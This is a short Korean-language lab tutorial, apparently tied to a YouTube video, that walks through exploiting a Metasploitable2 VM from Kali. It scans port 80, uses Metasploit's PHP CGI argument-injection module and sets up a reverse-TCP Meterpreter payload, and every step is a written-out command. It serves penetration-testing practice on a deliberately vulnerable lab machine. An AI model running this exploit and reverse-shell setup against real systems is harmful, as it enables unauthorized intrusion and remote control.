🎬 이 YouTube 동영상

1️⃣ 타깃 확인

Kali에서 Metasploitable IP를 확인하세요:

ip a

예를 들어:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

포트와 서비스를 확인합니다:

nmap -p 80 192.168.56.102

브라우저에서도 확인할 수 있습니다:

http://192.168.56.102/

2️⃣ Metasploit 실행

msfconsole

3️⃣ PHP CGI 익스플로잇 모듈 선택

search php cgi

올바른 모듈:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ 익스플로잇 설정

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

페이로드를 선택합니다:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

확인해 보겠습니다:

show options

5️⃣ 익스플로잇 실행

run

또는

exploit

성공하면:

Meterpreter session 1 opened

6️⃣ 액세스 확인

sysinfo
whoami